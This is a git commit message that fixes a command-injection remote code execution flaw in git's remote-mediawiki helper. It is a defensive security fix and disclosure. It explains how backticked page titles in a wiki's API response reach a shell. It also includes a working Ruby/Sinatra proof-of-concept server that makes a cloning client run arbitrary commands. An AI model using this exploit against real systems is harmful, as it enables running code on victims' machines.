Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
4842a11794